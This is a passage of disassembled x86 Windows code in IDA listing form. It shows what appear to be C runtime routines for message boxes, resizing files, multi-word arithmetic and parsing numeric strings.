		jz	short loc_425613
		jmp	short loc_425587
; ---------------------------------------------------------------------------


loc_4255FC:				; CODE XREF: sub_425566+48j
		push	[ebp+arg_0]


loc_4255FF:				; CODE XREF: sub_425566+ABj
		push	0
		push	edi
		call	sub_41BD60
		add	esp, 0Ch


loc_42560A:				; CODE XREF: sub_425566+7Ej
					; sub_425566+87j
		mov	eax, edi


loc_42560C:				; CODE XREF: sub_425566+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_425610:				; CODE XREF: sub_425566+69j
		push	esi
		jmp	short loc_4255FF
; ---------------------------------------------------------------------------


loc_425613:				; CODE XREF: sub_425566+92j
		xor	eax, eax
		jmp	short loc_42560C
sub_425566	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422FD0


loc_425617:				; CODE XREF: sub_422FD0+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DF480, esi
		jle	short loc_42566A


loc_425626:				; CODE XREF: sub_422FD0+2698j
		mov	eax, dword_4DE464
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_425661
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425645
		push	eax
		call	sub_41B82B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425645
		inc	edi


loc_425645:				; CODE XREF: sub_422FD0+2666j
					; sub_422FD0+2672j
		cmp	esi, 14h
		jl	short loc_425661
		mov	eax, dword_4DE464
		push	dword ptr [eax+esi*4]
		call	sub_41B881
		mov	eax, dword_4DE464
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_425661:				; CODE XREF: sub_422FD0+2660j
					; sub_422FD0+2678j
		inc	esi
		cmp	esi, dword_4DF480
		jl	short loc_425626


loc_42566A:				; CODE XREF: sub_422FD0+2654j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_422FD0

; =============== S U B	R O U T	I N E =======================================



sub_42566F	proc near		; CODE XREF: sub_423756+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_425680
		add	esp, 0Ch
		retn
sub_42566F	endp


; =============== S U B	R O U T	I N E =======================================



sub_425680	proc near		; CODE XREF: sub_42566F+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DF5A1[eax], cl
		jnz	short loc_4256AD
		cmp	[esp+arg_4], 0
		jz	short loc_4256A6
		movzx	eax, word_43EFF2[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_4256A8
; ---------------------------------------------------------------------------


loc_4256A6:				; CODE XREF: sub_425680+16j
		xor	eax, eax


loc_4256A8:				; CODE XREF: sub_425680+24j
		test	eax, eax
		jnz	short loc_4256AD
		retn
; ---------------------------------------------------------------------------


loc_4256AD:				; CODE XREF: sub_425680+Fj
					; sub_425680+2Aj
		push	1
		pop	eax
		retn
sub_425680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4256B1	proc near		; CODE XREF: sub_423EAD+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DE31C, ebx
		push	esi
		push	edi
		jnz	short loc_425700
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4280B8	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_425736
		mov	esi, dword_4280BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DE31C, eax
		jz	short loc_425736
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DE320, eax
		call	esi	; GetProcAddress
		mov	dword_4DE324, eax


loc_425700:				; CODE XREF: sub_4256B1+Bj
		mov	eax, dword_4DE320
		test	eax, eax
		jz	short loc_42571F
		call	eax	; GetActiveWindow
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_42571F
		mov	eax, dword_4DE324
		test	eax, eax
		jz	short loc_42571F
		push	ebx
		call	eax	; GetLastActivePopup
		mov	ebx, eax


loc_42571F:				; CODE XREF: sub_4256B1+56j
					; sub_4256B1+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DE31C	; MessageBoxA


loc_425732:				; CODE XREF: sub_4256B1+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425736:				; CODE XREF: sub_4256B1+1Cj
					; sub_4256B1+33j
		xor	eax, eax
		jmp	short loc_425732
sub_4256B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42573A	proc near		; CODE XREF: sub_42425E+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C2F0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DE460
		jnb	loc_42586F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DE360[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42586F
		push	1
		push	esi
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425879
		push	2
		push	esi
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425879
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42581C
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BD60
		push	8000h
		push	ebx
		call	sub_426374
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_4257D0:				; CODE XREF: sub_42573A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_4257DB
		mov	eax, edi


loc_4257DB:				; CODE XREF: sub_42573A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4231D6
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4257F9
		sub	edi, eax
		test	edi, edi
		jle	short loc_42580F
		jmp	short loc_4257D0
; ---------------------------------------------------------------------------


loc_4257F9:				; CODE XREF: sub_42573A+B5j
		cmp	dword_4DE030, 5
		jnz	short loc_42580C
		mov	dword_4DE02C, 0Dh


loc_42580C:				; CODE XREF: sub_42573A+C6j
		or	esi, 0FFFFFFFFh


loc_42580F:				; CODE XREF: sub_42573A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_426374
		pop	ecx
		pop	ecx
		jmp	short loc_42585C
; ---------------------------------------------------------------------------


loc_42581C:				; CODE XREF: sub_42573A+71j
		jge	short loc_42585C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422FE4
		push	ebx
		call	sub_424186
		add	esp, 10h
		push	eax
		call	dword_428010	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42585C
		mov	dword_4DE02C, 0Dh
		call	dword_42808C	; RtlGetLastWin32Error
		mov	dword_4DE030, eax


loc_42585C:				; CODE XREF: sub_42573A+E0j
					; sub_42573A:loc_42581Cj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422FE4
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42587C
; ---------------------------------------------------------------------------


loc_42586F:				; CODE XREF: sub_42573A+1Aj
					; sub_42573A+36j
		mov	dword_4DE02C, 9


loc_425879:				; CODE XREF: sub_42573A+4Ej
					; sub_42573A+63j
		or	eax, 0FFFFFFFFh


loc_42587C:				; CODE XREF: sub_42573A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_42573A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425880	proc near		; CODE XREF: sub_4249FF+2Bp
					; sub_4249FF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425896
		cmp	ecx, esi
		jnb	short loc_425899


loc_425896:				; CODE XREF: sub_425880+10j
		push	1
		pop	eax


loc_425899:				; CODE XREF: sub_425880+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425880	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258A1	proc near		; CODE XREF: sub_42595A+40p
					; sub_42595A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425880
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4258D3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425880
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4258D3
		inc	dword ptr [esi+8]


loc_4258D3:				; CODE XREF: sub_4258A1+19j
					; sub_4258A1+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425880
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4258EB
		inc	dword ptr [esi+8]


loc_4258EB:				; CODE XREF: sub_4258A1+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425880
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_4258A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4258FF	proc near		; CODE XREF: sub_42595A+30p
					; sub_42595A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_4258FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42592D	proc near		; CODE XREF: sub_425EF2+1C8p
					; sub_4263EA+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_42592D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42595A	proc near		; CODE XREF: sub_425A21+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_4259CE
		push	edi
		mov	[ebp+arg_8], eax


loc_425981:				; CODE XREF: sub_42595A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4258FF
		push	ebx
		call	sub_4258FF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4258A1
		push	ebx
		call	sub_4258FF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_4258A1
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425981
		xor	edx, edx
		pop	edi


loc_4259CE:				; CODE XREF: sub_42595A+21j
					; sub_42595A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4259FB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_4259CE
; ---------------------------------------------------------------------------


loc_4259FB:				; CODE XREF: sub_42595A+77j
		mov	esi, 8000h


loc_425A00:				; CODE XREF: sub_42595A+B9j
		test	[ebx+8], esi
		jnz	short loc_425A15
		push	ebx
		call	sub_4258FF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425A00
; ---------------------------------------------------------------------------


loc_425A15:				; CODE XREF: sub_42595A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42595A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425A21	proc near		; CODE XREF: sub_424D48+17p
					; sub_424D75+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_425A5C:				; CODE XREF: sub_425A21+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425A72
		cmp	cl, 9
		jz	short loc_425A72
		cmp	cl, 0Ah
		jz	short loc_425A72
		cmp	cl, 0Dh
		jnz	short loc_425A75


loc_425A72:				; CODE XREF: sub_425A21+40j
					; sub_425A21+45j ...
		inc	edi
		jmp	short loc_425A5C
; ---------------------------------------------------------------------------


loc_425A75:				; CODE XREF: sub_425A21+4Fj
		push	4
		pop	esi


loc_425A78:				; CODE XREF: sub_425A21+AEj
					; sub_425A21+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_425CFB	; default
					; jumptable 00425A84 case 10
		jmp	off_425EC2[eax*4] ; switch jump


loc_425A8B:				; DATA XREF: .packed:off_425EC2o
		cmp	bl, 31h		; jumptable 00425A84 case 0
		jl	short loc_425A9C
		cmp	bl, 39h
		jg	short loc_425A9C


loc_425A95:				; CODE XREF: sub_425A21+C4j
					; sub_425A21+118j
		push	3
		jmp	loc_425CB9
; ---------------------------------------------------------------------------


loc_425A9C:				; CODE XREF: sub_425A21+6Dj
					; sub_425A21+72j
		cmp	bl, byte_43F1F8
		jnz	short loc_425AAB


loc_425AA4:				; CODE XREF: sub_425A21+124j
		push	5
		jmp	loc_425CF1
; ---------------------------------------------------------------------------


loc_425AAB:				; CODE XREF: sub_425A21+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425AD1
		dec	eax
		dec	eax
		jz	short loc_425AC5
		sub	eax, 3
		jnz	loc_425D94
		jmp	loc_425B54
; ---------------------------------------------------------------------------


loc_425AC5:				; CODE XREF: sub_425A21+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425A78
; ---------------------------------------------------------------------------


loc_425AD1:				; CODE XREF: sub_425A21+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425A78
; ---------------------------------------------------------------------------


loc_425ADA:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	bl, 31h		; jumptable 00425A84 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425AE7
		cmp	bl, 39h
		jle	short loc_425A95


loc_425AE7:				; CODE XREF: sub_425A21+BFj
		cmp	bl, byte_43F1F8
		jz	loc_425BAF
		cmp	bl, 2Bh
		jz	short loc_425B29
		cmp	bl, 2Dh
		jz	short loc_425B29
		cmp	bl, 30h
		jz	short loc_425B54


loc_425B02:				; CODE XREF: sub_425A21+207j
		cmp	bl, 43h
		jle	loc_425D94
		cmp	bl, 45h
		jle	short loc_425B22
		cmp	bl, 63h
		jle	loc_425D94
		cmp	bl, 65h
		jg	loc_425D94


loc_425B22:				; CODE XREF: sub_425A21+EDj
		push	6
		jmp	loc_425CF1
; ---------------------------------------------------------------------------


loc_425B29:				; CODE XREF: sub_425A21+D5j
					; sub_425A21+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425CF1
; ---------------------------------------------------------------------------


loc_425B31:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	bl, 31h		; jumptable 00425A84 case 2
		jl	short loc_425B3F
		cmp	bl, 39h
		jle	loc_425A95


loc_425B3F:				; CODE XREF: sub_425A21+113j
		cmp	bl, byte_43F1F8
		jz	loc_425AA4
		cmp	bl, 30h
		jnz	loc_425D09


loc_425B54:				; CODE XREF: sub_425A21+9Fj
					; sub_425A21+DFj
		mov	eax, edx
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425B5B:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		mov	[ebp+var_10], edx ; jumptable 00425A84 case 3


loc_425B5E:				; CODE XREF: sub_425A21+184j
		cmp	dword_43F1F4, edx
		jle	short loc_425B77
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425B85
; ---------------------------------------------------------------------------


loc_425B77:				; CODE XREF: sub_425A21+143j
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425B85:				; CODE XREF: sub_425A21+154j
		test	eax, eax
		jz	short loc_425BA7
		cmp	[ebp+var_4], 19h
		jnb	short loc_425B9F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425BA2
; ---------------------------------------------------------------------------


loc_425B9F:				; CODE XREF: sub_425A21+16Cj
		inc	[ebp+var_8]


loc_425BA2:				; CODE XREF: sub_425A21+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425B5E
; ---------------------------------------------------------------------------


loc_425BA7:				; CODE XREF: sub_425A21+166j
		cmp	bl, byte_43F1F8
		jnz	short loc_425C16


loc_425BAF:				; CODE XREF: sub_425A21+CCj
		mov	eax, esi
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425BB6:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	[ebp+var_4], 0	; jumptable 00425A84 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425BCF


loc_425BC2:				; CODE XREF: sub_425A21+1ACj
		cmp	bl, 30h
		jnz	short loc_425BCF
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425BC2
; ---------------------------------------------------------------------------


loc_425BCF:				; CODE XREF: sub_425A21+19Fj
					; sub_425A21+1A4j ...
		cmp	dword_43F1F4, edx
		jle	short loc_425BE8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425BF6
; ---------------------------------------------------------------------------


loc_425BE8:				; CODE XREF: sub_425A21+1B4j
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425BF6:				; CODE XREF: sub_425A21+1C5j
		test	eax, eax
		jz	short loc_425C16
		cmp	[ebp+var_4], 19h
		jnb	short loc_425C11
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425C11:				; CODE XREF: sub_425A21+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425BCF
; ---------------------------------------------------------------------------


loc_425C16:				; CODE XREF: sub_425A21+18Cj
					; sub_425A21+1D7j
		cmp	bl, 2Bh
		jz	loc_425B29
		cmp	bl, 2Dh
		jz	loc_425B29
		jmp	loc_425B02
; ---------------------------------------------------------------------------


loc_425C2D:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	dword_43F1F4, edx ; jumptable 00425A84 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425C49
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425C57
; ---------------------------------------------------------------------------


loc_425C49:				; CODE XREF: sub_425A21+215j
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425C57:				; CODE XREF: sub_425A21+226j
		test	eax, eax
		jz	loc_425D09
		mov	eax, esi
		jmp	short loc_425CBA
; ---------------------------------------------------------------------------


loc_425C63:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		lea	ecx, [edi-2]	; jumptable 00425A84 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425C73
		cmp	bl, 39h
		jle	short loc_425CB7


loc_425C73:				; CODE XREF: sub_425A21+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425CEF
		dec	eax
		dec	eax
		jz	short loc_425CE3
		sub	eax, 3
		jnz	loc_425D97


loc_425C88:				; CODE XREF: sub_425A21+2A4j
		push	8
		jmp	short loc_425CF1
; ---------------------------------------------------------------------------


loc_425C8C:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		mov	[ebp+var_20], edx ; jumptable 00425A84 case 8


loc_425C8F:				; CODE XREF: sub_425A21+276j
		cmp	bl, 30h
		jnz	short loc_425C99
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425C8F
; ---------------------------------------------------------------------------


loc_425C99:				; CODE XREF: sub_425A21+271j
		cmp	bl, 31h
		jl	loc_425D94
		cmp	bl, 39h
		jg	loc_425D94
		jmp	short loc_425CB7
; ---------------------------------------------------------------------------


loc_425CAD:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	bl, 31h		; jumptable 00425A84 case 7
		jl	short loc_425CC0
		cmp	bl, 39h
		jg	short loc_425CC0


loc_425CB7:				; CODE XREF: sub_425A21+250j
					; sub_425A21+28Aj
		push	9


loc_425CB9:				; CODE XREF: sub_425A21+76j
		pop	eax


loc_425CBA:				; CODE XREF: sub_425A21+240j
		dec	edi
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425CC0:				; CODE XREF: sub_425A21+28Fj
					; sub_425A21+294j
		cmp	bl, 30h
		jnz	short loc_425D09
		jmp	short loc_425C88
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		cmp	[ebp+arg_18], 0	; jumptable 00425A84 case 11
		jz	short loc_425CF7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_425CEF
		dec	eax
		dec	eax
		jnz	loc_425D97


loc_425CE3:				; CODE XREF: sub_425A21+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425CEF:				; CODE XREF: sub_425A21+258j
					; sub_425A21+2B8j
		push	7


loc_425CF1:				; CODE XREF: sub_425A21+85j
					; sub_425A21+103j ...
		pop	eax
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425CF7:				; CODE XREF: sub_425A21+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_425CFB:				; CODE XREF: sub_425A21+5Dj
					; sub_425A21+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425A84 case 10
		jz	loc_425D99
		jmp	loc_425A78
; ---------------------------------------------------------------------------


loc_425D09:				; CODE XREF: sub_425A21+12Dj
					; sub_425A21+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425D99
; ---------------------------------------------------------------------------


loc_425D11:				; CODE XREF: sub_425A21+63j
					; DATA XREF: .packed:off_425EC2o
		mov	[ebp+var_20], 1	; jumptable 00425A84 case 9
		xor	esi, esi


loc_425D1A:				; CODE XREF: sub_425A21+339j
		cmp	dword_43F1F4, 1
		jle	short loc_425D32
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_425D41
; ---------------------------------------------------------------------------


loc_425D32:				; CODE XREF: sub_425A21+300j
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425D41:				; CODE XREF: sub_425A21+30Fj
		test	eax, eax
		jz	short loc_425D61
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_425D5C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425D1A
; ---------------------------------------------------------------------------


loc_425D5C:				; CODE XREF: sub_425A21+334j
		mov	esi, 1451h


loc_425D61:				; CODE XREF: sub_425A21+322j
		mov	[ebp+var_1C], esi


loc_425D64:				; CODE XREF: sub_425A21+371j
		cmp	dword_43F1F4, 1
		jle	short loc_425D7C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41FD15
		pop	ecx
		pop	ecx
		jmp	short loc_425D8B
; ---------------------------------------------------------------------------


loc_425D7C:				; CODE XREF: sub_425A21+34Aj
		mov	ecx, off_43EFE8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_425D8B:				; CODE XREF: sub_425A21+359j
		test	eax, eax
		jz	short loc_425D94
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425D64
; ---------------------------------------------------------------------------


loc_425D94:				; CODE XREF: sub_425A21+99j
					; sub_425A21+E4j ...
		dec	edi
		jmp	short loc_425D99
; ---------------------------------------------------------------------------


loc_425D97:				; CODE XREF: sub_425A21+261j
					; sub_425A21+2BCj
		mov	edi, ecx


loc_425D99:				; CODE XREF: sub_425A21+2DDj
					; sub_425A21+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425E81
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425DC5
		cmp	[ebp+var_45], 5
		jl	short loc_425DB9
		inc	[ebp+var_45]


loc_425DB9:				; CODE XREF: sub_425A21+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425DC8
; ---------------------------------------------------------------------------


loc_425DC5:				; CODE XREF: sub_425A21+38Dj
		mov	eax, [ebp+var_C]


loc_425DC8:				; CODE XREF: sub_425A21+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425E77


loc_425DD2:				; CODE XREF: sub_425A21+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_425DE0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_425DD2
; ---------------------------------------------------------------------------


loc_425DE0:				; CODE XREF: sub_425A21+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42595A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_425DFF
		neg	eax


loc_425DFF:				; CODE XREF: sub_425A21+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_425E0A
		add	eax, [ebp+arg_10]


loc_425E0A:				; CODE XREF: sub_425A21+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_425E12
		sub	eax, [ebp+arg_14]


